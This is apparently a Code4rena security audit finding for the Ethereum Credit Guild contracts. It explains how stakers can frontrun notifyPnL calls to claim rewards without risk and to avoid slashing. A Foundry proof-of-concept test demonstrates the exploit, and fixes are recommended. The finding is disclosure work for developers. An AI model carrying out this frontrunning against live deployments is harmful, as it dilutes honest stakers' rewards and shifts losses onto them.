Upgraded Q -> 2 from #556 [1706974007287]

Judge has assessed an item in Issue #556 as 2 risk. The relevant finding follows:

[L-01] Users can frontrun `NotifyPnL` calls to earn `risk-free` rewards and avoid slashing

Bug Description

Calls to ProfitManager::notifyPnL are performed by terms when a profit or loss is generated. Guild stakers who are staked into a gauge while it experiences a profit will be eligible to claim rewards for that gauge/term. First, the gauge's gaugeProfitIndex is updated based on the profit generated:

ProfitManager::notifyPnL#L383-L399

383:            if (amountForGuild != 0) {
384:                // update the gauge profit index
385:                // if the gauge has 0 weight, does not update the profit index, this is unnecessary
386:                // because the profit index is used to reattribute profit to users voting for the gauge,
387:                // and if the weigth is 0, there are no users voting for the gauge.
388:                uint256 _gaugeWeight = uint256(
389:                    GuildToken(guild).getGaugeWeight(gauge)
390:                );
391:                if (_gaugeWeight != 0) {
392:                    uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];
393:                    if (_gaugeProfitIndex == 0) {
394:                        _gaugeProfitIndex = 1e18;
395:                    }
396:                    gaugeProfitIndex[gauge] =
397:                        _gaugeProfitIndex +
398:                        (amountForGuild * 1e18) /
399:                        _gaugeWeight;

Next, stakers who were staked in the gauge will be able to collect the rewards via ProfitManager::claimGaugeRewards:

ProfitManager::claimGaugeRewards#L427-L434

427:        uint256 deltaIndex = _gaugeProfitIndex - _userGaugeProfitIndex;
428:        if (deltaIndex != 0) {
429:            creditEarned = (_userGaugeWeight * deltaIndex) / 1e18;
430:            userGaugeProfitIndex[user][gauge] = _gaugeProfitIndex;
431:        }
432:        if (creditEarned != 0) {
433:            emit ClaimRewards(block.timestamp, user, gauge, creditEarned);
434:            CreditToken(credit).transfer(user, creditEarned);

On the other hand, stakers who are staked into a gauge when it experiences a loss will have their Guild slashed. First, the time of the loss is recorded in the gauge:

ProfitManager::notifyPnL#L300-L305

300:        // handling loss
301:        if (amount < 0) {
302:            uint256 loss = uint256(-amount);
303:
304:            // save gauge loss
305:            GuildToken(guild).notifyGaugeLoss(gauge);

Next, the loss can be applied to any staker who was staked into the gauge when the loss occured, resulting in the staker being slashed:

GuildToken::applyGaugeLoss#L133-L140

133:    function applyGaugeLoss(address gauge, address who) external {
134:        // check preconditions
135:        uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
136:        uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][who];
137:        require(
138:            _lastGaugeLoss != 0 && _lastGaugeLossApplied < _lastGaugeLoss,
139:            "GuildToken: no loss to apply"
140:        );

User's are not enforced to be staked into a gauge for a minimum amount of time in order to be eligible to receive rewards and therefore a user can stake into the gauge immediately before a profit is generated (in the same block) and then claim rewards via claimGaugeRewards.

Similarly, stakers can avoid being slashed by immediately unstaking all their Guild before the loss is recorded (in the same block). Therefore, the user's lastGaugeLossApplied will be equal to the lastGaugeLoss and the user will not be slashed.

Impact

Users can frontrun gainy notifyPnL calls to collect rewards for a gauge that will experience a profit. This will result in all other stakers' rewards being diluted. The user is able to do this despite their total time staked in the gauge being 0 (staked into gauge during the same block as profit). Additionally, the user is able to benefit from the reward system while taking on zero-risk.

Users can frontrun lossy notifyPnL calls to avoid being slashed. Since slashing is total, a loss of 1 wei will be as devastating to a staker as a loss of 1_000e18. Therefore, users are incentivized to actively try to avoid these losses by unstaking all of their Guild immediately before the gauge experiences a loss. User's who unstake will have to be sure the adjusted debt ceiling (after unstaking) does not fall below the issuance for the gauge, or else the user will not be allowed to unstake their Guild.

Proof of Concept

Place the following test inside of /test/unit/governance/ProfitManager.t.sol:

    function testFrontrunGainyAndLossyNotifyPnL() public {
        // grant roles to test contract
        vm.startPrank(governor);
        core.grantRole(CoreRoles.GOVERNOR, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
        core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
        vm.stopPrank();

        // setup
        // 100% of profit goes to Guild stakers
        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0, // surplusBufferSplit
            0, // creditSplit
            1e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );

        // set up gauge 
        guild.setMaxGauges(1);
        guild.addGauge(1, gauge1);

        // alice and bob both have Guild
        guild.mint(alice, 50e18);
        guild.mint(bob, 50e18);

        // alice is staked into the gauge
        vm.startPrank(alice);
        guild.incrementGauge(gauge1, 50e18);
        vm.stopPrank();

        assertEq(guild.getUserWeight(alice), 50e18);
        assertEq(guild.getUserWeight(bob), 0);

        // time passes since alice was staked in the gauge
        vm.roll(block.number + 100);
        vm.warp(block.timestamp + (100 * 13));

        // bob stakes into the gauge immediately before the gauge experiences a profit
        vm.startPrank(bob);
        guild.incrementGauge(gauge1, 50e18);
        vm.stopPrank();

        assertEq(guild.getUserWeight(bob), 50e18);
        assertEq(guild.getUserWeight(alice), 50e18);

        credit.mint(address(profitManager), 200e18);
        profitManager.notifyPnL(gauge1, 200e18);

        // bob and alice both claim equal rewards
        assertEq(profitManager.claimRewards(alice), 100e18);
        assertEq(profitManager.claimRewards(bob), 100e18);
        assertEq(credit.balanceOf(address(profitManager)), 0);

        // alice and bob are both staked in the gauge
        assertEq(guild.getUserWeight(bob), 50e18);
        assertEq(guild.getUserWeight(alice), 50e18);

        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);

        // bob unstakes from the gauge immediately before the gauge experiences a loss
        vm.startPrank(bob);
        guild.decrementGauge(gauge1, 50e18);
        vm.stopPrank();

        profitManager.notifyPnL(gauge1, -1e18);

        // alice's loss is applied and she is slashed
        guild.applyGaugeLoss(gauge1, alice);

        assertEq(guild.getUserWeight(alice), 0);
        assertEq(guild.balanceOf(alice), 0);

        // bob can not be slashed
        vm.expectRevert();
        guild.applyGaugeLoss(gauge1, bob);

        assertEq(guild.getUserWeight(bob), 0);
        assertEq(guild.balanceOf(bob), 50e18);
    }

Recommendation

Stakers can be enforced to be staked into a gauge for at least 1 block. This would ensure that user's are not able to stake into a gauge in the same block in which a profit is generated and collect rewards.

Unstaking can be restricted during auctions in order to prevent stakers from speculating on the likely-hood of a loss occuring and prevent them from unstaking before the loss is recorded.

code-423n4 / 2023-12-ethereumcreditguild-findings